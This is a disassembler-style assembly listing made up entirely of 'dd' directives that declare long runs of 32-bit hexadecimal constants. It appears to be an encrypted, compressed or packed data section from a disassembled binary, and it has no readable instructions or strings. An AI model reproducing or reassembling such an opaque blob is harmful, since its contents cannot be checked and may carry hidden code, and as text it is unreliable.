		dd 3A0F736Fh, 0D1071083h, 9FD039EAh, 0BBF1AB49h, 7EEDE88h
		dd 0F2B82CACh, 900F702h, 9F5E1C77h, 80240ED1h, 9B024624h
		dd 61721D3Fh, 0AC4ADD56h, 5B69257Bh, 296F42FCh,	58D8B8D8h
		dd 0F053CFA9h, 71E084E9h, 957FC280h, 803604Ah, 11353D68h
		dd 4EC3D555h, 61304E90h, 0D5355084h, 824B5077h,	88C50581h
		dd 0C2970BB4h, 0B900F3F9h, 4CD575B7h, 167F6029h, 0F001F034h
		dd 0CD407F81h, 7FFB9531h, 95397328h, 0C60307Ch,	40382A86h
		dd 8D17D545h, 34564FE1h, 0BDFE09EFh, 0BD7487C2h, 0DD15534Fh
		dd 0F9F71D65h, 6D846885h, 5AC4D4ECh, 490913E2h,	2641FC53h
		dd 43C602C3h, 6A7D093Eh, 2080B78h, 0C6D97141h, 8B584AA2h
		dd 0AC805A09h, 166A901Fh, 8EDC1h, 0CF5F484Fh, 0D5052158h
		dd 77E4685Ah, 62CACCF8h, 70CACCBh, 0A32AB133h, 1509956Bh
		dd 890A15DEh, 5F21E138h, 5AA7C340h, 0E9270B08h,	0EE31F8F9h
		dd 9A8FB34Dh, 52BFCC2Ch, 5EE3A87Fh, 60ACFDB8h, 0EFE848B7h
		dd 654F1D39h, 15F78267h, 4CDC2235h, 0FC9DAE25h,	98F7BA5h
		dd 741AFBD2h, 0A7DEC555h, 5E259373h, 0AEFCEC1Fh, 92BBB696h
		dd 9C61A087h, 736BDB93h, 62F1C478h, 0EBEA6076h,	458F07A2h
		dd 9C61EEB2h, 293F75EFh, 93CD2B47h, 8A7FEDF5h, 7D1858F8h
		dd 10E72C4Ah, 0C01A34Bh, 4776DA68h, 0E8E35BFBh,	5DE4E780h
		dd 0E37DCAAh, 9EF0AD3h,	33D74752h, 4FACB016h, 0C2B60B0h
		dd 0D2539A6Ch, 9F95D897h, 8998A31Eh, 1AE0FBD2h,	0AF3A2D79h
		dd 54B02578h, 0FA387F0Ch, 13B80C53h, 837B240Dh,	0FB84A913h
		dd 951030DCh, 4E4100E4h, 6A53547Fh, 0A430F825h,	31809BD3h
		dd 879706C8h, 8D1F7CFh,	79856812h, 4C577D32h, 7BE918FDh
		dd 0FAF7B5D7h, 0D54B580Bh, 0F2B70221h, 0C09857D0h, 0E8BD6768h
		dd 834FD943h, 0C5B9E1E3h, 65873DCEh, 8D226896h,	431C625Fh
		dd 667F669h, 563923EFh,	0CB727235h, 296E4901h, 80F3E9F9h
		dd 8BF12C00h, 43B81C4Bh, 75596BC0h, 0A75AE948h,	0FBB88701h
		dd 62F6F384h, 51BF0468h, 4FC10D13h, 9B261BDh, 0C20CA3B6h
		dd 0D7312E03h, 0BD0C4F1Ah, 4A615E22h, 41028AB2h, 0E1B368F5h
		dd 4F511D94h, 2CF18342h
		dd 21F91878h, 0ADB13FC8h, 527BF940h, 5EF00231h,	99E9C629h
		dd 4C0486ABh, 53C7B039h, 0B741F09Dh, 5B961CDBh,	0A0432F72h
		dd 3046B1B4h, 1BB39DCFh, 53CF82BDh, 0B20BE1DAh,	90D728BDh
		dd 5E95E947h, 598C9D55h, 0A1A16BFEh, 898736Ch, 21650BEh
		dd 19116646h, 25F150B6h, 74146C12h, 0AB721E82h,	0C112C3E9h
		dd 896E97B6h, 0FC64839Dh, 0F2342F2Ah, 0C448F549h, 2AFD47F9h
		dd 0DE3A6204h, 837F0C12h, 0EE7D0191h, 581AD0D9h, 0BD84FEE1h
		dd 0C8533231h, 0CA6E9381h, 3E58199h, 0F0406D77h, 5AE4E698h
		dd 4EFBAD0Ch, 0B1932783h, 432B4DF7h, 857D3330h,	51D5C2F5h
		dd 0D0EBBA03h, 7C311D81h, 9F9D2DD1h, 0A255C612h, 0F7BCB7D6h
		dd 5A053B6Eh, 858E288h,	5C1D04FFh, 0DE21019Bh, 4CFF75Bh
		dd 181002C0h, 2998F120h, 5375121h, 0F543D7E3h, 0A82AAC6Dh
		dd 0B9BC2AE9h, 0EA17AE9Dh, 88899C71h, 622CF0C3h, 3637DE01h
		dd 0B03F403Ch, 0CB4A3A1Ch, 0FF7611CEh, 2177E56Bh, 83B56B98h
		dd 0A2B64EDh, 84F020FFh, 0FF6BB450h, 0C9FEC900h, 3D7B652h
		dd 0F604EEC0h, 1C9880DEh, 5A73F130h, 9F59CA3Ch,	0EA093EE2h
		dd 6F2FE83h, 3E39B151h,	3D7EC1FCh, 0BC82E965h, 0D3294FEFh
		dd 0BF07EB84h, 955B39DCh, 31EBB3FAh, 723AE00Fh,	0ED817702h
		dd 62B9097Ch, 200D8FEDh, 0A55FD4F5h, 886A072h, 1CC7077Ah
		dd 0E010760Dh, 0B5E3E949h, 0FAB9189Dh, 0E7B0BD7Ah, 788B3DE2h
		dd 251E257Eh, 7322C134h, 2D6D3BEh, 15D4005h, 0A1D58389h
		dd 4E2AD98Ah, 0BCCE137Eh, 0C7AA8441h, 67BABB00h, 82A304F5h
		dd 809F58E1h, 1791E653h, 31684B22h, 0E5731AA6h,	0B4C210F2h
		dd 39420A3Bh, 12DCD2F7h, 6E67EE58h, 0DDCC75A2h,	77F84094h
		dd 0D1D0764Bh, 50B92001h, 98A00Eh, 29453D1Dh, 71E0E9E8h
		dd 0D8013FC2h, 0A17B29C7h, 20694ADh, 0E9C39D61h, 65D54B0Ah
		dd 685C83B1h, 8D16709Eh, 32FB9DFCh, 17E6B8EBh, 5F74D220h
		dd 0A3C48258h, 222542FEh, 0D4D28AFFh, 145D49B7h, 272B9A48h
		dd 2802F5E9h, 9A6AD030h, 0F0E96251h, 8AF55DDFh,	13ADDC84h
		dd 0EC9650ADh, 2BAD30Ch, 20D66186h, 943EA57h, 52160408h
		dd 394EEBE8h, 86CE3A2Fh, 9202ED10h, 0EFB125BBh,	0E0515492h
		dd 804A5919h, 277EB80h,	71C3282Fh, 1B18B6Ch, 0CF14BF78h
		dd 0A3D930h, 80A1B252h,	0E8E9A7C2h, 0E77B9DE3h,	0C62D0FA7h
		dd 5FB7B603h, 5C9EF9C6h, 7B84B439h, 0F6F53CBBh,	214EE971h
		dd 0D7C0071Dh, 0EDC0FD86h, 0F5801903h, 20BD06D5h, 6FC0C637h
		dd 4A797EF2h, 0F5B9037h, 0B8B4D15h, 2EAC103h, 3C1D2002h
		dd 68015C16h, 1748E1FFh, 132A7837h, 30E22787h, 8C519A56h
		dd 4803DCB2h, 80CCC205h, 0F96EF14Fh, 22C57182h,	0CC06528h
		dd 301878CDh, 53181127h, 1E9A0462h, 0CF7946E9h,	0EF8301D9h
		dd 78B9E902h, 992F8C65h, 72502F03h, 79D3B79Dh, 0CF853E49h
		dd 3EF0278Bh, 61FA479h,	5DA18539h, 0A3C02017h, 5DD4620Fh
		dd 9C10B6E3h, 50BC48EDh, 0FC4A9AB8h, 0F589AE72h, 6B44C706h
		dd 3AA03FEAh, 6C7448CBh, 6BE644Ch, 42D38703h, 57E92506h
		dd 0EE5F39C1h, 0E394260Fh, 0BE1E4443h, 121C0909h, 0CD807F08h
		dd 563CF681h, 1A9016F0h, 1A4A3B0Bh, 0E9CCE01Eh,	6325BACFh
		dd 0A6E49529h, 0D1BD6579h, 0DF48C287h, 0E27E4DDh, 0B54BF57h
		dd 82D032A9h, 0B53C9080h, 722E6030h, 4B3E5F9Eh,	5B9B571h
		dd 0EB278808h, 23E80B5Bh, 0EBB672C5h, 9418C3DCh, 48AA88C8h
		dd 0C1898125h, 787002E8h, 4B1928D9h, 0ECE14AD2h, 7CF617ECh
		dd 28099816h, 108048FEh, 2C130B7Bh, 8AD95F68h, 915B980h
		dd 65E96C1Fh, 0A929ED86h, 83591910h, 9060506Ah,	0F81FD708h
		dd 0FA1E170Ah, 16D13A4Fh, 0FA5602F4h, 2CD29F30h, 4B52ED4Dh
		dd 615A13A6h, 5309E4h, 0E738C980h, 0CBC0A5E5h, 74C3E059h
		dd 62A6B468h, 0F5C2B2B6h, 0CC06FA61h, 0E91808E6h, 68445A23h
		dd 4E1578E0h, 4361925Dh, 2C5B1049h, 19DD0E0h, 182A4038h
		dd 0B9A3AB8h, 257F231h,	491A26Ah, 90DE8049h, 25904C0Ah
		dd 1F9CE106h, 182F5Dh, 72B600Fh, 8959CF31h, 6F54FB7Ah
		dd 20E88E4h, 5E585B5Ah,	1647CACDh, 53709DF9h, 0BD61F4D4h
		dd 88594701h, 7BAA41F4h, 0AEE36FEAh, 1337AF34h,	0B4BAB8E1h
		dd 463ECEF5h, 7F25E97Eh, 3E095790h, 58101C23h, 4A42FCACh
		dd 78D4F2D1h, 0CF80764Bh, 12A42DADh, 0E4070B15h, 8141B73Dh
		dd 0E67C8920h, 306A13EDh, 0EE1D2DEAh, 17427F5Ch, 8C475D91h
		dd 0E61C2E3Fh, 33A35FA5h, 0EF4BAC79h, 0D013BBF9h, 0E0A68995h
		dd 0A59D64C6h, 83FF05A9h, 0AE96269h, 949C303Fh,	8143E46Bh
		dd 418B02B3h, 0BE7C6BDEh, 69444318h, 0BC1E75BEh, 0AC850242h
		dd 8BD9EBFDh, 55859A55h, 78DAA589h, 31B9B1BEh, 4FB3BD8h
		dd 4463382h, 1FC1EAADh,	4B7EC20Dh, 8B795971h, 7890964Fh
		dd 2D313D05h, 0BFE3230h, 59F968C0h, 0BA435460h,	7D32975Dh
		dd 3CE9D560h, 872ECE92h, 0D703A6F5h, 207C926h, 0FD8F2C0Ch
		dd 0C5DF01C2h, 59CCA72Bh, 9062D120h, 69852099h,	4F969680h
		dd 2421E3Bh, 0F3241E7h,	0F896D729h, 487F1C09h, 0C41A9017h
		dd 288782F5h, 0CBE532D4h, 55D22E60h, 3940989Dh,	7A743E73h
		dd 0CAD1E1A7h, 0EA685433h, 9F99F511h, 8B51EEB0h, 0AE1C7DEBh
		dd 41EAE44Ah, 0CC223225h, 50B16053h, 38DB0B16h,	0EDC10AFEh
		dd 685F0208h, 6D902536h, 3165192h, 0C6E6093Ah, 0CE4A4D30h
		dd 3F12B6E2h, 0F2A045E9h, 0FBB2B751h, 0E933B144h, 0B5838FFEh
		dd 91845DE8h, 0D3B216F7h, 490A2D7Fh, 0D220E546h, 1DF89D7Fh
		dd 6CAED04Ah, 0B125E992h, 97857166h, 0E73B5717h, 805C81F5h
		dd 9DC32DC3h, 5151EEC7h, 52EE9B5h, 0BB98204Ah, 0E56F76DDh
		dd 0D2CB2F7Ch, 88649A12h, 5C955A68h, 27C1F2E9h,	0D6A47E52h
		dd 135B76FEh, 4A45AEE9h, 0C5F50AF8h, 16E0E659h,	90A7F1C3h
		dd 42805826h, 360CE819h, 0D330FC1h, 509D44D0h, 3544C7Ch
		dd 2DA434EBh, 9289E74Ah, 0BD0F7008h, 5CE4ACF1h,	52A421FAh
		dd 1AF0584h, 3DF908D5h,	0C4846A91h, 0DEEFB600h,	972D5A2Bh
		dd 7E0D7659h, 123169B9h, 12F709E2h, 4F33F796h, 0A9A1D5FAh
		dd 0C95044BAh, 0AE196E6Ch, 0E69A0706h, 495E43A6h, 4BCDEE14h
		dd 0A72B69B1h, 5CACD2DBh, 0D6A08CAh, 60534464h,	0C3405ECFh
		dd 6A3016BEh, 0F68D0083h, 68A76E1Bh, 0D0E7CEECh, 0CC1258Dh
		dd 4AC51A54h, 27B8970h,	0E96FED7Eh, 0E8A28B27h,	490F1696h
		dd 0FEEE25Ah, 0E1802943h, 0A6205773h, 59071316h, 0C6770803h
		dd 4B12053Dh, 66C4A47Eh, 0C2B05D90h, 3962BD28h,	0BC9D4140h
		dd 0E9C17A93h, 2380E408h, 9556F7C5h, 31ED291Eh,	58080009h
		dd 1C5F6F09h, 59E9408Ch, 281DB078h, 0A899D2D0h,	0F0C9DFA1h
		dd 13372AC9h, 0C9605ADh, 6B18F8A8h, 4CC677B3h, 4DF2A01Eh
		dd 4BFDD7h, 774D8B89h, 3FBCDD80h, 1ECC0B26h, 2568534Dh
		dd 0EFCC2AA3h, 241A6C9Fh, 8013A17Eh, 6BD2990h, 0E601E281h
		dd 0E930A335h, 253BE88Ch, 0BDAFB0C8h, 0D8280305h, 2DBFDD29h
		dd 5E09B829h, 82B59737h, 0ABDD356h, 560968C3h, 6CA3B27h
		dd 0BF208382h, 26205BE5h, 54489425h, 16555A04h,	14E91768h
		dd 0B32BBBFh, 9327C0Ch,	45C65B66h, 0E654B6FAh, 2EBE019Dh
		dd 0F1AD5F49h, 47FF200Fh, 57E94E0Bh, 0AC6753E1h, 0D2A216B5h
		dd 71573725h, 4584291h,	165A65D7h, 0F76FD0E0h, 7E7776FDh
		dd 97F82126h, 5BE8C158h
		dd 1CEC110h, 12603E57h,	99BBE56h, 46344806h, 0F98BA06h
		dd 0B245E95h, 257E7FCEh, 0A65F8C2h, 0F0E80885h,	4748C385h
		dd 5FBA610h, 3DBC2A1Fh,	783A80BFh, 2D4CCE19h, 757269C2h
		dd 0D137AD2Eh, 81B942B4h, 769EC749h, 0D76E7126h, 0BBE19093h
		dd 63BEF70Bh, 0E110512Fh, 3CAF0F66h, 42909F26h,	0A5EF881Ch
		dd 59C330FEh, 0F1C2E352h, 0B6485AD1h, 4B455B2Fh, 1ADAEE4Fh
		dd 0BE54ACA2h, 0DA041B27h, 2554FEA4h, 0E004E062h, 0BB60070h
		dd 0B6AEF680h, 0C2EE0F27h, 0C603E609h, 0E902B109h, 0D95652EDh
		dd 0D1EA604Bh, 15403028h, 0F49A9818h, 7831CC27h, 0A9EA4F32h
		dd 0C229026Bh, 55AA88E9h, 432F2C14h, 0C59F5B99h, 0D560AB17h
		dd 58CC6A57h, 1399622h,	69F4EDA7h, 0A6864D18h, 0BD337775h
		dd 5495DEC6h, 0BB535876h, 4D7A3309h, 0F3AA805Bh, 2C78114Ch
		dd 83FC331h, 0BB1C44E6h, 80EF430Bh, 49A3E394h, 0E97909C3h
		dd 0B930FEDEh, 0EA824EB4h, 620451A2h, 620B589Eh, 0D0B1FD4Bh
		dd 46D2FAC1h, 52535609h, 76A0AB50h, 0DBE97832h,	0E785EA65h
		dd 18ED01BEh, 203E56Ch,	0EDBDC059h, 20371470h, 0AB4C93C0h
		dd 0BE98DF2Dh, 4C9FB0D1h, 0BD974DD7h, 0E0CEEC4Bh, 9D50EEE9h
		dd 143E8065h, 0C389ADCFh, 0D0685251h, 9533660Bh, 75BF058h
		dd 0F3D99204h, 0A204550Bh, 7466BE03h, 0AFE5B54Ah, 4702EA24h
		dd 4235CC5Eh, 0A8AB7EDCh, 296D40C3h, 71206992h,	0A067A099h
		dd 0EDF04E30h, 31BB97C3h, 0FA4E2Ah, 327DB252h, 0C740EAD0h
		dd 4F666403h, 124A8128h, 0D27B49FDh, 0F72DD766h, 25FF7CF9h
		dd 861A1922h, 308B6801h, 563C6023h, 0B925F086h,	0E9149734h
		dd 8FC9409Ah, 0C3F40502h, 0B4507F60h, 0C08079AAh, 2071F4D8h
		dd 0C07358E1h, 0F113037Ch, 3CA8308Eh, 254066B2h, 0D35EE953h
		dd 6A0C9E86h, 0C7E576h,	0F92851C6h, 9793E889h, 87CDE984h
		dd 0FB6861EBh, 0D5B66A5Ch, 73D8257Ah, 0DD896B51h, 33BA5FFAh
		dd 981C6DFFh, 6653F36Fh, 355EF898h, 0D7623405h,	0CC515DE3h
		dd 0AE0455C9h, 0FE8E5BD2h, 77F255Eh, 0AF3ED465h, 0F25FAED6h
		dd 31B5ADC8h, 86FC66FCh, 0DF310E6h, 3CA42744h, 498D3D8h
		dd 0E981F197h, 5C6DF25Eh, 0AC4BFA3Ch, 0EA82B5E2h, 0CCDEC6F4h
		dd 0F511D672h, 74555E27h, 1EA74458h, 62C4277Bh,	0F93682CAh
		dd 7DB80053h, 1B0ACC1Eh, 0AF315048h, 328B138Bh,	2914776Eh
		dd 0E03F1B9Dh, 97CCAEFh, 0F72970E6h, 798D7C80h,	0E0BD3083h
		dd 50441BA8h, 1CE874Eh,	4B4C4221h, 394FF1E9h, 395A0715h
		dd 819030D2h, 487D16CFh, 0E7001565h, 7243818h, 0DD0BBA52h
		dd 0F6CA691Dh, 0F8AC3971h, 342937h, 0CF7436EBh,	0DA2609ABh
		dd 51F085Bh, 6CB1CA01h,	0F2D94011h, 4E7ED0C4h, 4B5FBC30h
		dd 998B1304h, 5B27BC16h, 81F4F6FCh, 0C5F65Dh, 82794868h
		dd 17662641h, 2624776Bh, 2BC9FF5Dh, 9850817Bh, 0C4367C87h
		dd 0C513543Bh, 5879ECEEh, 0B6B220DEh, 0FB7189CDh, 7E25FAE7h
		dd 0E9185CEEh, 0EA437149h, 826D3A0Ah, 56D7099Fh, 59EC807Dh
		dd 0FA1E015Eh, 426F0203h, 29224146h, 0E2C0656Ch, 494B6B4Ah
		dd 0D102ACC1h, 81CCF7E9h, 6A391EF1h, 87011629h,	138E243Eh
		dd 3D624001h, 0E2044D54h, 973E98CAh, 0A005713Fh, 2FB9E527h
		dd 0E6096960h, 47175F7Ch, 7EBFA84Bh, 598CE06Eh,	0C9B80B0Eh
		dd 0E18C434Eh, 0E9309D1Fh, 35949D15h, 0D026E89h, 80F4B682h
		dd 0F21BCF7Fh, 0A1CFCDC3h, 5672C6B0h, 1474B826h, 0DF64C225h
		dd 762505E5h, 6850580Bh, 0F1FECA97h, 0FA2997B8h, 713CC729h
		dd 0AE26E54Bh, 66628F0Eh, 86BD00B4h, 8A90615Eh,	0A8F4C575h
		dd 78E90509h, 7AE0DCCFh, 2C00E7DCh, 0E9705473h,	3FF9976Dh
		dd 351222A6h, 0DD2B87F1h, 0CBF543AAh, 3F5BCA81h, 0C287CD09h
		dd 5AF6F618h, 6A09DA70h, 490C78h, 381147FFh, 95C49226h
		dd 0C60C7DF2h, 0B66FEB52h, 0DBF188A5h, 4A0E4014h, 9D161EADh
		dd 2C480F11h, 4EFEFD5Ah, 4AF56982h, 0A6E5D7D4h,	5AE954CBh
		dd 99099AC7h, 0B0B21492h, 88C34052h, 2032FE77h,	0FA310E9Fh
		dd 0E8DB4E69h, 0C45AF2F0h, 9B92DCDh, 744B0E46h,	95C282F1h
		dd 0C0B75801h, 0D006080Ch, 40CD0864h, 0EE41E273h, 0CA0177F9h
		dd 96DD014Eh, 9867600h,	41C461F8h, 5F06C407h, 6C201894h
		dd 5EAF31C9h, 8844EE10h, 836E308h, 77081910h, 37640823h
		dd 20A0291Fh, 7A3197AAh, 607D48B0h, 9165088Ch, 87400118h
		dd 0B4F240C1h, 54A9DC66h, 90A53120h, 118BA08h, 50018D9Fh
		dd 6BCF0193h, 107D601h,	40985405h, 0A1EA49F6h, 8B351CDh
		dd 88C0261h, 0FB305133h, 40FABA40h, 4A401D81h, 0F07B40EBh
		dd 0A8287F63h, 4C081880h, 0BB6118B8h, 0DDC808C4h, 0DFA93D0Ch
		dd 5B6A51C4h, 18722306h, 0B5513F67h, 0AC543AD8h, 582F40DFh
		dd 637F4E40h, 0A6381886h, 18A0819h, 0E0514B18h,	0FF039E28h
		dd 0E21BF138h, 6111D08h, 0F754E14Ah, 8C639D8Ch,	107D0F10h
		dd 104F2708h, 7A18D0B0h, 83262860h, 0C4538C81h,	0E92910EFh
		dd 0CC97189Dh, 0C5769C08h, 482D3E30h, 9B0CD3E0h, 407D103Ah
		dd 2040CC48h, 83EB4041h, 0DE2C6D40h, 18571841h,	0BE81733Fh
		dd 0A3198C52h, 10E4DBECh, 188CB620h, 0A2109B3Ah, 408C661h
		dd 76201825h, 0F9D96EAAh, 4D08E88Ch, 0E4200565h, 89CA844Ch
		dd 8B56F91h, 88AED1F9h,	3E4CC4B9h, 0D85080F7h, 0C8788480h
		dd 2312BFD9h, 0DEF96046h, 5CD73108h, 8D820720h,	0D985C208h
		dd 0BDD3B988h, 19EC5D15h, 0A61850FEh, 4057BC24h, 736A1FC2h
		dd 72998CA1h, 8453F5A1h, 0B104849Ch, 2BE304A3h,	3E97892h
		dd 1031358Ch, 0AC9989B0h, 2681B01h, 719C48C7h, 98DA8132h
		dd 0B769C641h, 0D410C47Ah, 82610667h, 79712008h, 2069B931h
		dd 89815E0h, 650C11A1h,	0B9A920C4h, 5439E096h, 0ABC6D4F7h
		dd 0A434A2E8h, 50459ACh, 9C6B042Eh, 1064AF06h, 88E1F31h
		dd 188CA469h, 4C08DF6Dh, 6349F040h, 0C6862047h,	8CB4931h
		dd 4A017B2Ah, 48E202B3h, 0C4C58838h, 9904710h, 0B4C822BDh
		dd 9C6000AFh, 0A499E8FCh, 328C5626h, 788B1E44h,	604AE4C7h
		dd 473B1041h, 20C752Ch,	0E8913EBh, 3DA76FB9h, 44010540h
		dd 4901408Fh, 0F775C90Bh, 26E748Bh, 0F003DEC3h,	33449075h
		dd 1A0FF0C0h, 2C304FB1h, 66220055h, 38E95253h, 9D705AFEh
		dd 48F886ECh, 5F44516Bh, 61062C0Fh, 0BA0428A6h,	2E29052Bh
		dd 825C0AFh, 0EAEC2F76h, 13CED8C2h, 218CE042h, 3A3125B3h
		dd 0C8683742h, 6DEB03D2h, 1A50C6F2h, 0B5511E16h, 142C3F66h
		dd 55066FCCh, 0D0B72012h, 69B4F0E2h, 6F7520AEh,	2DAAD80h
		dd 0B17FAFEh, 1FF0551Dh, 942802C9h, 43B8E953h, 0F02582E5h
		dd 18276CC1h, 9B0FEA30h, 843ABC7Ch, 0BE00D0D3h,	2833275Eh
		dd 0E5E68100h, 0F737992Bh, 8104DED6h, 773660F6h, 272B706Eh
		dd 0EC162A32h, 46F76E2h, 0EB7D1368h, 0B26E5039h, 0D65C2776h
		dd 25E97897h, 80E08C98h, 2846F607h, 0CFB25AF3h,	128EA0BAh
		dd 3E5B3064h, 4017D029h, 0EA7C4076h, 5CDE02C2h,	296D297h
		dd 7A079CBFh, 515FD131h, 96DD5232h, 6AA4971Eh, 257C0EAh
		dd 0C6BF4C01h, 0C00C82F2h, 94FEBC86h, 11D4828Eh, 0B5F46C41h
		dd 4516E701h, 0C8DB4B4Fh, 169574DBh, 0B6FA2959h, 31991776h
		dd 0A254D364h, 380E1067h, 0DCF65F2Dh, 80C15A58h, 3A1E9ABAh
		dd 0C48A1AE2h, 8B27A418h, 12FC4550h, 5A200A58h,	0ECCE1792h
		dd 96FC5A10h, 314F1CD4h
		dd 2A188046h, 254FC3ADh, 92DAB222h, 4B1828FDh, 0D5B91062h
		dd 7F726409h, 899CE589h, 8965C229h, 97BD5500h, 9564621Ah
		dd 7F4D37C0h, 0CD046B76h, 29034727h, 0A70778A8h, 0D031107Ch
		dd 407BFCC5h, 82E9B41Ch, 815B48F2h, 13A05A0h, 0EEB50E38h
		dd 0C1A6E362h, 666C4483h, 6C90B9B3h, 0C9FC0725h, 0F4622F02h
		dd 0DCC18345h, 0E9823D17h, 7C93AD63h, 28AF607Fh, 83FEBECBh
		dd 191609F0h, 3AAB0C05h, 0C1BF9212h, 50412425h,	0FA055494h
		dd 97F2695Bh, 0E2176DC1h, 5902E6Bh, 2DE76A0Bh, 79564571h
		dd 0DFB43A40h, 36E91297h, 9229AA10h, 0E726E539h, 7F5BA8DAh
		dd 894B99C3h, 0E565D1F7h, 0FE95801h, 993F0119h,	0D7F22A21h
		dd 4AFD3E11h, 0E64A90CAh, 0D85D2DA9h, 7091AEh, 16D5AAFh
		dd 7413362Dh, 750A5EEFh, 0A73F0705h, 0BF60785Fh, 0B4A0974Eh
		dd 88240D0Eh, 0A1021745h, 401A8071h, 1D525D11h,	0C14D148Fh
		dd 17206BE5h, 495422Ah,	0E8E05407h, 18EF21A5h, 90981FE9h
		dd 700523BFh, 0DFF71C4Ch, 137293F9h, 0F116492Dh, 58200F0h
		dd 50066282h, 40D0F723h, 45E0A7Eh, 21D058E4h, 86C581CAh
		dd 8333C272h, 27755176h, 0D90C3D41h, 0ADE5E712h, 55E265D9h
		dd 9F18CDB2h, 32B2944Fh, 0CC4DABEEh, 17221DB0h,	1BA1BD2h
		dd 86D68512h, 0BCCDD4B2h, 30B5B7A6h, 0C5C783A0h, 37526254h
		dd 0E2898EE2h, 50CF3226h, 77CC705h, 0CEE477Bh, 582E01F3h
		dd 9F95695h, 665BB452h,	0BC128393h, 283A21FEh, 38E90066h
		dd 0DA0AD194h, 0C3AFCC9Eh, 0B80FBB16h, 44683B07h, 6FD61B64h
		dd 22254176h, 8C68C274h, 8C59715Fh, 592C276Bh, 1854573Ch
		dd 0B41026D6h, 66D5FE4Bh, 0CEAD0E47h, 89B1F8E4h, 9EF47AA5h
		dd 88E963E0h, 68009D7Bh, 196149B3h, 2421055Eh, 0B01185Bh
		dd 18DE1F26h, 0A2FCC5A5h, 0D67195B5h, 8FA5FFEBh, 0D3D3FC50h
		dd 515C31AFh, 17AE18B9h, 0E0159725h, 10640E74h,	0B3AE30D4h
		dd 686607F1h, 0C84B75BAh, 0DF22980Dh, 0D3094044h, 6083685Ah
		dd 8B0F3BFh, 0F6074CEFh, 0D49962A3h, 1DE3EE3h, 34E956F0h
		dd 5C8C2EF4h, 11DD6EE5h, 11B3CBBFh, 469799DDh, 628CF74h
		dd 8EC580D5h, 41F7085Ah, 0AD8C1h, 2D2C7D35h, 35DC250Dh
		dd 5E76EB3Fh, 943CC4BAh, 319C403Eh, 3DB568D2h, 0A417D4A8h
		dd 77BF0AD7h, 0B35D347h, 81F49360h, 351239EBh, 9236DE59h
		dd 0B6F75522h, 0B36FFF6Ch, 63AF9373h, 0FEFCEA8Dh, 0E90BCB8Ah
		dd 0B4FE2EB0h, 2FCCF48Dh, 0EA28C03Bh, 50224DE4h, 8C25027h
		dd 2BBB0653h, 1820806Fh, 85666A09h, 0A0B3D463h,	885B1308h
		dd 5252B402h, 27E94B40h, 0EF6C2F0h, 88BD5F73h, 0FA416A66h
		dd 0EF140F7Ch, 0BE00B317h, 5D517A99h, 851F6BBDh, 0A9CFA2AEh
		dd 0E3A6F71Bh, 0B41A194Ch, 61DED920h, 2E1DE602h, 0D2DF4143h
		dd 42BBD2Eh, 42866998h,	0D7E178C0h, 1FF60F71h, 0C100D9F7h
		dd 50283B2h, 5013C2B7h,	0C214181Ch, 67480C5Ch, 15F4412h
		dd 81A22C4h, 5514090Ch,	75488B2h, 46A10B20h, 64EA05C9h
		dd 7BB4AFEFh, 914178C7h, 0F9DE0B6Ch, 5796C9DEh,	2EDAFCCh
		dd 4D6B4E41h, 1542FD01h, 505F0800h, 0C85D23E9h,	6DBC4F34h
		dd 7A6B815Bh, 9DE27AEAh, 3F28A995h, 0DADAF4ABh,	0CD43082Ch
		dd 0B60F30AEh, 2536042Eh, 0EAD02BA0h, 48BB7775h, 71310525h
		dd 659CE90Dh, 0C8137AA2h, 0F8C920AEh, 4D4C0968h, 6186016Dh
		dd 0CFE97F70h, 0F155512Ch, 0DFDD8142h, 0CFF425C2h, 0C995DA70h
		dd 0ADD400Ah, 0E2065104h, 34DEFA7Dh, 4E2249h, 6F66EAC8h
		dd 0BFF826EBh, 98E9765Ch, 167FAF1Ah, 0A5582867h, 5D8CA0Fh
		dd 4A03CC9Fh, 5EDD8288h, 4E5D805Dh, 6033BA70h, 57217859h
		dd 0E9180D38h, 0B8283AC0h, 234606FBh, 0A3E0D156h, 6B8F2500h
		dd 26057F08h, 0D74D2C31h, 0E0E984ABh, 1BACA2E4h, 0E90BD6F7h
		dd 1A87D58Dh, 325CE780h, 156118EFh, 0EEA781FDh,	61640DB0h
		dd 0C47BC4EDh, 202DEACFh, 2E70AF51h, 30048C45h,	43171E2h
		dd 0E28B2C74h, 9BE5DDC2h, 7A0DC6A3h, 0A3D88F6Fh, 0A6E2DDBh
		dd 13C10662h, 0F145038Ch, 7EAC3577h, 0E19B16B1h, 283D6C8Dh
		dd 0B309C742h, 0C26FDF13h, 0CC985725h, 452C3505h, 0D8032EDDh
		dd 24942EE9h, 10DD99Fh,	0A65A27E1h, 14E7C72h, 185EF5E9h
		dd 0E804108h, 987496E0h, 0C599CA89h, 2710308h, 0EAC085B2h
		dd 4B418E7Fh, 9C1C06C2h, 7DF90079h, 703547D1h, 0CF7F0C4Dh
		dd 1E819D34h, 0BBF41CEDh, 0B2AE0DC4h, 70EB8BB3h, 9647B53Fh
		dd 2835C4A8h, 0DDB40C15h, 52BB9451h, 16776EDFh,	0A9F9DCE9h
		dd 0ACE697CFh, 8AE22E2Fh, 0F7B1835Dh, 30A3EDEh,	6A1AA4EDh
		dd 9E1294CEh, 0C729EEF7h, 0A32F39F0h, 80FE95EAh, 4307064Ah
		dd 135D7937h, 0F67563B0h, 37E91922h, 0BCC12C3Ch, 52E71AEAh
		dd 61B94272h, 4A02F44Dh, 444B5875h, 701DE8EAh, 85BC15E9h
		dd 0D207BCC8h, 90433FCh, 0C25259CDh, 3003E547h,	8E87B9F5h
		dd 9CAE33Ah, 51C5FFCh, 4D80EE33h, 7FE92EB4h, 35539FE8h
		dd 582240A7h, 39142810h, 0F33E05D0h, 9089AE84h,	26D9C593h
		dd 6A9F2AEEh, 0C8080975h, 0CBBC05E1h, 2D4C18Dh,	7A42FA24h
		dd 0F5810013h, 0E23DC940h, 2DEA928Eh, 5106E3CCh, 0D4F4D54Bh
		dd 0E6D19FFBh, 0A140CD42h, 0E2BA5218h, 27AC2CCh, 3DAD22B9h
		dd 90810185h, 815D5BE9h, 208BC743h, 0C807151h, 1A44317Ah
		dd 0AA4989E9h, 6FF04E5Bh, 6D331DFFh, 0DD04BC0Fh, 0AB29C751h
		dd 0C4F7D160h, 0BE0C0BE1h, 28A0C6E9h, 0FE94C380h, 950ACB67h
		dd 5DC4DDD2h, 0E5407A2Ch, 25750413h, 5FFDA201h,	0E9C9CD31h
		dd 1DD9099Eh, 0B8F2CBCBh, 0D775B3F7h, 13561C9h,	2DABF745h
		dd 0EDF27ED1h, 0E9B09E58h, 5180E46Dh, 0FE953FB5h, 74F58002h
